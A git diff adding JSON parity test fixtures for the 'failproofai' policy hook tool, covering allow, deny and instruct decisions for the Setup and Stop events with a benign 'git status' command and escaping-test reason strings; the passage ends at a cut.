b/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..41130a04 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8f4cc39f --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a97e207c --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b5a3b929 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3fd2b60e --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..935cde0c --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2ec549fb --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ea5d4487 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9f4496e9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..78172b79 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..136dae10 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f62b0c5d --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..63500c66 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..64cf4fea --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..cb4e0b34 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d0fb295a --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4f9de362 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b98f178f --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9c9f4434 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..dbf1fc96 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d2517eae --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-present__one-policy.json 